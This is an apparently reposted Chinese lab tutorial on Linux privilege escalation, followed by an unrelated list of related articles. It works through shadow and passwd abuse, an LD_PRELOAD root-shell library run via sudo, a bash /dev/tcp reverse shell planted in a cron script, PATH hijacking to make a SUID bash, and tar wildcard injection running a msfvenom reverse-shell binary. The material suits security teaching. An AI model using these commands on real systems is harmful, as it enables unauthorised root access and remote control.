linux提权——提权大赏

news2024/10/7 16:19:13

文章目录

  • 一、可读shadow文件利用提权
  • 二、可写shadow文件利用提权
  • 三、可写passwd文件利用提权
  • 四、sudo环境变量提权
    • 配置环境
    • 实验
  • 五、自动任务文件权限提升
    • 配置环境
    • 实验
  • 六、自动任务PATH环境变量提权
  • 七、自动任务通配符提权

一、可读shadow文件利用提权

ls -al /etc/shadow # 查看文件属性，确保当前用户对shadow文件具有可读权限
cat /etc/shadow | grep ':\$' # 查看shadow文件夹，grep相当于过滤器，后面接过滤条件

在这里插入图片描述

在/etc/shadow文件中，每个用户的密码都是用一个特定的哈希函数加密的。为了避免密码被轻易破解，Linux 系统会使用不同的哈希函数来加密密码。而$y$中的y字符则表示使用的是哪种哈希函数，不同的哈希函数对应不同的字符。以下是一些常见的 $y$ 值及其对应的哈希函数：

  • $1$表示使用的是 MD5 哈希函数；
  • $2$或$2a$表示使用的是 Blowfish 哈希函数；
  • $5$表示使用的是 SHA-256 哈希函数；
  • $6$表示使用的是 SHA-512 哈希函数。
sudo john --wordlist=/usr/share/wordlist/rockyou.txt hash.txt # john进行破解

在这里插入图片描述

二、可写shadow文件利用提权

思路：写入

cp /etc/shadow /tmp/shadow.bak  # 备份重要文件
mkpasswd -m sha-512 123456 # 生成hash，hash算法为sha-512
# 替换/etc/shadow中root的密码

mkpasswd是linux中专门用来生成密码hash的工具，-m用来指定hash算法。

在这里插入图片描述

三、可写passwd文件利用提权

提权肯定最先关注root用户，现代的linux发行版中，密码hash都是存储在/etc/shadow中，/etc/passwd中并不直接存储密码hash，通常用X来占位，但是还是可以直接将密码写入/etcpasswd中，尝试提权。也就是一个优先级的问题，先读取passwd，再读取shadow文件。

cp /etc/passwd /tmp/passwd.bak # 备份文件
openssl passwd <明文> # openssl passwd生成密码的hash值
# 替换/etc/passwd中的X

在这里插入图片描述

生成hash时，也可以用mkpasswd，但是passwd文件中生成hash时最好用openssl passwd，再shadow文件中生成hash用mkpasswd。

四、sudo环境变量提权

当用whoami命令查看当前用户的用户名时，显示whoami:无法找到id值为XXX的用户。原因：当前用没有权限读取/etc/passwd或者/etc/shadow。解决方法：修改文件权限，chmod 644 /etc/passwd。
在这里插入图片描述

配置环境

adduser test # root用户下新增test用户

# 补充
sudo adduser test sudo # 将test用户添加到sudo组中
sudo deluser test sudo # 将test用户从sudo组中删除

在这里插入图片描述

vim /etc/sudoers # 使用root用户编/etc/sudoers文件，/etc/sudoers文件是sudo命令的配置文件

# 添加
Defaults env_keep+=LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD:/usr/bin/find # 简单来说，用户test可以使用sudo命令执行find命令

在这里插入图片描述
在这里插入图片描述
test用户只允许执行sudo find，其他sudo命令不允许执行。
在这里插入图片描述

实验

使用test用户登录到系统，使用sudo -l查看当前用户能够以root用户身份执行哪些命令，其实就是看他能执行哪些sudo命令。这里的话，test用户只允许执行sudo find，且不需要密码

在这里插入图片描述

  • Defaults env_reset表示默认会重置环境变量，因此自定义的变量会在 sudo 环境中失效，也就不会获取正确的变量值。
  • env_keep配置项，用于保留部分环境变量不被重置，需要保留的变量就写入双引号之中。
  • secure_path配置项，其中包含的路径将被当做sudo环境的PATH变量使用。也就是说如果在 sudo 环境无法找到某些命令，那么可以将这些命令的路径加入该配置项之中。
  • LD_PRELOAD是一个环境变量，用于指定在程序加载时预加载的共享库。这个环境变量允许用户在运行程序之前，通过指定预加载的共享库，修改程序的行为。当设置LD_PRELOAD环境变量时，指定的共享库将在程序加载时优先于其他库加载，并将其函数和符号替换为预加载的库中的函数和符号。LD：Linking Dynamic.

也就是说我们在使用sudo find命令时，会以root用户的身份执行命令，同时环境变量中的自定义变量将失效，而且执行sudo find命令之前，会加载共享库文件，共享库文件的路径由LD_PRELOAD指定。

1、关于/bin、/sbin、/usr/sbin、/usr/bin文件夹：

  • 从命令功能角度：
    • /sbin下的命令属于基本的系统命令，如shutdown，reboot，用于启动系统，修复系统。
    • /bin下存放一些普通的基本命令，如ls，chmod等，这些命令在Linux系统里的配置文件脚本里经常用到。
  • 从用户权限的角度：
    • /sbin目录下的命令通常只有管理员才可以运行。
    • /bin下的命令管理员和一般的用户都可以使用。
  • /usr/sbin存放的一些非必须的系统命令；/usr/bin存放一些用户命令。

2、链接

  • 静态链接（Static Linking）：在静态链接中，编译器将所有的目标文件和库文件的机器代码合并到一个单独的可执行文件中。这意味着所有的代码和库都被复制到最终的可执行文件中。例如，linux中，使用C语言编写的代码，需要先经过编译器编译将C语言代码转化为机器码，也就是目标文件（.o文件），再链接所需库文件生成可执行文件（.exe文件）。
  • 动态链接（Dynamic Linking）：在动态链接中，目标文件中只包含对所需库函数的引用，而不包含实际的函数实现。在程序运行时，操作系统会在内存中加载并链接所需的共享库，将其与程序进行动态链接。常见的动态链接库文件有 .so（Linux）和 .dll（Windows）。
  • 加载时链接（Load-time Linking）：加载时链接是在程序加载到内存时进行的链接过程。程序在加载时需要引入所需的库，并在加载时解析并链接这些库。这种链接方式介于静态链接和动态链接之间，它使得程序在运行前不需要包含完整的库代码，但仍然需要在每次加载时进行链接。

编写shellcode:

 #include <stdio.h> //标准输入输出库
 #include <sys/types.h> //数据类型库
 #include <stdlib.h> //C语言标准库
 #include <unistd.h> //包含setuid和setgid的库
 
 void _init(){
 	unsetenv("LD_PRELOAD"); //一旦程序结束或重新启动，环境变量将会恢复到其默认或先前设置的状态。
 	setgid(0);
 	setuid(0); //程序以root用户身份执行后续操作
 	system("/bin/bash");
 }

编译源代码：

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# -fPIC：生成位置独立代码（Position Independent Code），可以在内存中的任何位置加载和执行，而不受具体加载地址的限制。
# -shared：指定生成共享库。
# -o <file>：输出文件。
# -nostartfiles：不使用默认的启动文件

提权

sudo LD_PRELOAD=/home/test/shell.so find # 指定共享库位置，执行该命令时，会先加载共享库文件shell.so

在这里插入图片描述

其实在shell.c中也可以不用setuid(0);setgid(0)，因为在执行sudo find时本来就是root权限，预先加载共享库shell.so时，也是以root用户的权限去加载的。
在这里插入图片描述

五、自动任务文件权限提升

配置环境

写一个自动任务脚本，脚本内容：

echo `date` >> /tmp/useless # 查看当前时间，并写入/tmp/useless目录下

在这里插入图片描述
直接编辑vim /etc/crontab文件，写入定时任务，* * * * * root bash /root/overwrite.sh，大致意思就是每分钟以root用户允许overwrite.sh文件。
在这里插入图片描述
可以看到定时任务执行成功。
在这里插入图片描述

实验

当登录到一台主机后，查看其定时任务：

cat /etc/crontab

可以看到有一个定时任务，每隔一分钟就执行bash /root/overwrite.sh，且以root用户身份执行。
在这里插入图片描述

locate overwrite.sh # 如果不知道脚本路径，就用locate定位文件位置
ls -al # 查看当前用户的文件权限，可写，就直接将反弹shell写入该脚本

在这里插入图片描述

bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 # 反弹shell脚本

nc -lnvp 4444 # 攻击机监听4444端口

在这里插入图片描述
我的理解是：靶机的shell标准输入、输出、错误输出都与127.0.0.1:4444的输出建立了TCP连接，也就是说靶机shell所有的输出信息都会显示到监听127.0.0.1:4444的shell中，唯独没有解决从127.0.0.1:4444向靶机发送命令。0>&1是就是将127.0.0.1:4444的标准输入与127.0.0.1:4444的标准输出进行绑定，使得从127.0.0.1:4444来的输入可以发给靶机shell。也可以将0>&1替换为0>&2，效果是差不多的。

在这里插入图片描述

六、自动任务PATH环境变量提权

cat /etc/crontab查看当前系统的自动任务后，一方面可以定位定时脚本的位置，然后将shell写到定时脚本中，实现提权；另一方面也可以从/etc/crontab中的PATH入手，达到提权目的。
具体如下：在执行自动任务的时候，系统会优先关注/etc/crontab中的PATH，而不是使用系统默认的PATH；自动任务中，脚本路径要么是绝对路径，要么是相对路径，如果是相对路径的话，将会根据PATH参数去相应的文件夹下找，是否有对应的脚本。，例如，此处overwrite.sh是相对路径，当执行该脚本的时候，系统会先去/home/test目录下去找，如果没有，再去/usr/local/sbin目录下去找，依此类推…

在这里插入图片描述
这里的话，因为overwrite.sh是相对路径，而且/home/test是第一优先目录，所以可以在/home/test目录下新建一个overwrite.sh脚本文件，尽管这不是真正的路径，但是系统还是优先执行/home/test/overwrite.sh。

vim overwrite.sh

# 内容
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +sx /tmp/rootbash # 必须加s属性，只有加了s属性，才能以root用户的身份去获取shell，否则就还是当前用户的shell

在这里插入图片描述

七、自动任务通配符提权

cat /etc/crontab查看系统临时任务，发现会自动执行/usr/local/bin/compress.sh。查看该文件，发现：系统会切换到/home/test目录下，然后用tar打包该目录下的所有文件，打包到/tmp/backup.tar.gz。
在这里插入图片描述

在这里插入图片描述
tar命令中有两个参数，分别为：--checkpoint和--checkpoint-action参数，--checkpoint=n：每打包n个文件就设置一个检查点，在检查点可以执行任何操作，操作由--checkpoint-action指定，exec代表执行外部命令。

msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf # 生成二进制的反弹shell，-p:shell类型，-f:文件格式，elf是linux下的二进制文件，-o:输出文件

touch /home/test--checkpoint=1 //注入一个检查点，用于告诉tar存在一个检查点
touch /home/test--checkpoint-action=exec=shell.elf // 在检查点处执行外部命令

在这里插入图片描述
在这里插入图片描述

—————————————————————————————————————————
待续…

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1610838.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

JUC面试——⭐⭐Java中的四种引用类型/Threadlocal

JUC面试——⭐⭐Java中的四种引用类型/Threadlocal

四种引用类型 Java 中对象的引用分为四种级别&#xff0c;这四种级别由高到低依次为&#xff1a;强引用、软引用、弱引用和虚引用。 基础知识 强引用&#xff1a;普通使用的引用 强引用是造成 Java 内存泄漏的主要原因之一 软引用&#xff1a; GC内存不够时回收 适用于&…
阅读更多...
RK3588 linux 修改ulimit 配置

RK3588 linux 修改ulimit 配置

前言 ulimit 主要是用来限制进程对资源的使用情况的&#xff0c;它支持各种类型的限制&#xff0c;常用的有&#xff1a; 内核文件的大小限制进程数据块的大小限制Shell进程创建文件大小限制可加锁内存大小限制常驻内存集的大小限制打开文件句柄数限制分配堆栈的最大大小限制C…
阅读更多...
椋鸟数据结构笔记#10：排序·中

椋鸟数据结构笔记#10：排序·中

文章目录 四、归并排序时间复杂度实现递归实现非递归实现 测试稳定性 五、非比较排序5.1 计数排序时间复杂度实现测试局限性 5.2 桶排序时间复杂度实现测试 5.3 基数排序时间复杂度实现测试局限性 萌新的学习笔记&#xff0c;写错了恳请斧正。 四、归并排序 归并排序是一种非常…
阅读更多...
pta L1-063 吃鱼还是吃肉

pta L1-063 吃鱼还是吃肉

L1-063 吃鱼还是吃肉 分数 10 全屏浏览 切换布局 作者 陈越 单位 浙江大学 国家给出了 8 岁男宝宝的标准身高为 130 厘米、标准体重为 27 公斤&#xff1b;8 岁女宝宝的标准身高为 129 厘米、标准体重为 25 公斤。 现在你要根据小宝宝的身高体重&#xff0c;给出补充营养的…
阅读更多...
java实现识别图片上的文字（OCR识别身份证等证件信息）

java实现识别图片上的文字（OCR识别身份证等证件信息）

利用第三方jar包&#xff0c;实现识别图片上的文字。第三方支持地址&#xff1a;Spire.OCR for Java | 专业的图文识别组件&#xff0c;用以读取图片格式中的文本Spire.OCR for Java 是专为 Java 开发者设计的强大OCR库&#xff0c;提供高效的文字识别功能&#xff0c;能够从图…
阅读更多...
Proxy 代理

Proxy 代理

意图 为其它对象提供一种代理以控制这个对象的访问。 结构 Proxy保存一个引用使得代理可以访问实体&#xff1b;提供一个与Subject的接口相同的接口&#xff0c;使代理可以用来替代实体&#xff1b;控制实体的存取&#xff0c;并可能负责创建和删除它&#xff1b;其他功能依赖…
阅读更多...
企业文档知识库建设，数据安全如何保障？

企业文档知识库建设，数据安全如何保障？

随着现代市场经济的高速发展&#xff0c;企业的竞争优势越来越多体现在人才和科技的优势。而随着员工流动率的提升&#xff0c;随之流失的则是员工积累多年的宝贵工作经验&#xff0c;如果缺乏有效的内部知识库的建设和管理&#xff0c;企业的竞争优势将难以维系。「企业网盘」…
阅读更多...
网络管理实验三、SNMP协议工作原理验证与分析

网络管理实验三、SNMP协议工作原理验证与分析

1 实验概括 实验目的&#xff1a; 学习捕获SNMP报文&#xff0c;通过报文分析理解SNMP协议的工作过程。 实验内容&#xff1a; 1&#xff09; 使用snmputilg发送SNMP数据包; 使用wireshark抓包&#xff1b;使用netstat –an查看代理站TCP/UDP连接表&#xff1b; 2&#xff09;…
阅读更多...
单机调度问题（第i工件的完工时间=加工时间+等待时间）

单机调度问题（第i工件的完工时间=加工时间+等待时间）

第08章 制造系统的调度控制 - 百度文库 (baidu.com) 模拟退火单机极小化总流水时间的排序问题_哔哩哔哩_bilibili 在单机调度问题中&#xff0c;工件的完工时间是一个至关重要的指标&#xff0c;因为它直接反映了生产效率的高低。而完工时间的计算&#xff0c;必须同时考虑工件…
阅读更多...
cocos creator 3.6 发布web手机端 加载进度条添加

cocos creator 3.6 发布web手机端 加载进度条添加

cocos creator 升级到3.x之后加载进度条取消了&#xff0c;测试了多个3.x版本最终以creator 3.6.3版本&#xff0c;构建了简单的进度加载 参考链接&#xff1a; https://forum.cocos.org/t/topic/137113 打包web-mobile后&#xff0c;没有进度条。加载的时候只显示一个黑屏。…
阅读更多...
贪吃蛇设计详解

贪吃蛇设计详解

在去年12月中&#xff0c;初次接触c语言&#xff0c;我靠着为数不多的知识&#xff0c;使用数组仿照写了一份贪吃蛇&#xff0c;现在时隔5个月&#xff0c;我已经有能力独立写出真正的贪吃蛇而不是简单的仿照&#xff08;虽然写的是挺简单的&#xff09;。 那么我们现在就正式…
阅读更多...
在ComfyUI中使用Deforum简单步骤, 以及报错处理

在ComfyUI中使用Deforum简单步骤, 以及报错处理

⛳背景 deforum这个插件其实去年就在webui流行的时候火过一阵子&#xff0c;效果的话&#xff0c;因为并没有引入太多“时间”的概念&#xff0c;所以画面基本上每一帧都不一样&#xff0c;但也恰恰因为这个&#xff0c;所以可以产生很多宛若吃了毒蘑菇的视频&#xff0c;后来…
阅读更多...
Rokid AR Lite空间计算套装发布，软硬件全面升级推动居家、出行、户外场景大规模应用

Rokid AR Lite空间计算套装发布，软硬件全面升级推动居家、出行、户外场景大规模应用

4月20日&#xff0c;以“好玩、好看、好上头”为主题的Rokid Open Day 2024发布会在杭州举行&#xff0c;Rokid对外正式发布新一代AR Lite空间计算套装&#xff0c;分享了近期Rokid在AR开发者生态和数字文化领域的进展和成果&#xff0c;并宣布了多项跨行业重磅合作。作为中国代…
阅读更多...
OerOerlikonTCO1200欧瑞康LPCVD system操作使用说明

OerOerlikonTCO1200欧瑞康LPCVD system操作使用说明

OerOerlikonTCO1200欧瑞康LPCVD system操作使用说明
阅读更多...
javaWeb项目-智能仓储系统功能介绍

javaWeb项目-智能仓储系统功能介绍

项目关键技术 开发工具&#xff1a;IDEA 、Eclipse 编程语言: Java 数据库: MySQL5.7 框架&#xff1a;ssm、Springboot 前端&#xff1a;Vue、ElementUI 关键技术&#xff1a;springboot、SSM、vue、MYSQL、MAVEN 数据库工具&#xff1a;Navicat、SQLyog 1、JSP技术 JSP(Jav…
阅读更多...
MySQL 列数据跨表拷贝，一句SQL快速将表A每条记录的某些字段拷贝到表B每条记录的某些字段（A、B表通过ID等字段对应）

MySQL 列数据跨表拷贝，一句SQL快速将表A每条记录的某些字段拷贝到表B每条记录的某些字段（A、B表通过ID等字段对应）

文章目录 MySQL 列数据跨表拷贝&#xff0c;一句SQL快速将表A每条记录的某些字段拷贝到表B每条记录的某些字段&#xff08;A、B表通过ID等字段对应&#xff09;背景定义表填充测试数据跨表一 一对应拷贝列数据SQL参考资料 MySQL 列数据跨表拷贝&#xff0c;一句SQL快速将表A每条…
阅读更多...
OSPF动态路由实验（思科）

OSPF动态路由实验（思科）

华为设备参考&#xff1a;OSPF动态路由实验&#xff08;华为&#xff09; 一&#xff0c;技术简介 OSPF&#xff08;Open Shortest Path First&#xff09;是一种内部网关协议&#xff0c;主要用于在单一自治系统内决策路由。它是一种基于链路状态的路由协议&#xff0c;通过…
阅读更多...
漆包线行业你了解多少？专业漆包线行业MES生产管理系统

漆包线行业你了解多少？专业漆包线行业MES生产管理系统

今天就说说漆包线行业&#xff0c;漆包线是工业电机&#xff08;包括电动机和发电机&#xff09;、变压器、电工仪表、电力及电子元器件、电动工具、家用电器、汽车电器等用来绕制电磁线圈的主要材料。 漆包线上游是铜杆行业&#xff0c;下游是各种消费终端&#xff0c;主要是电…
阅读更多...
详解数据在内存中的存储

详解数据在内存中的存储

系列文章目录 第一章 C语言基础知识 第二章 C语言控制语句 第三章 C语言函数详解 第四章 C语言数组详解 第五章 C语言操作符详解 第六章 C语言指针详解 第七章 C语言结构体详解 文章目录 1. 数据类型 1.1 基本数据类型 1.2 派生数据类型 2. 整形在内存中的存储 2.1 …
阅读更多...
力扣练习题（2024/4/18）

力扣练习题（2024/4/18）

1不相交的线 在两条独立的水平线上按给定的顺序写下 nums1 和 nums2 中的整数。 现在&#xff0c;可以绘制一些连接两个数字 nums1[i] 和 nums2[j] 的直线&#xff0c;这些直线需要同时满足&#xff1a; nums1[i] nums2[j]且绘制的直线不与任何其他连线&#xff08;非水平线…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023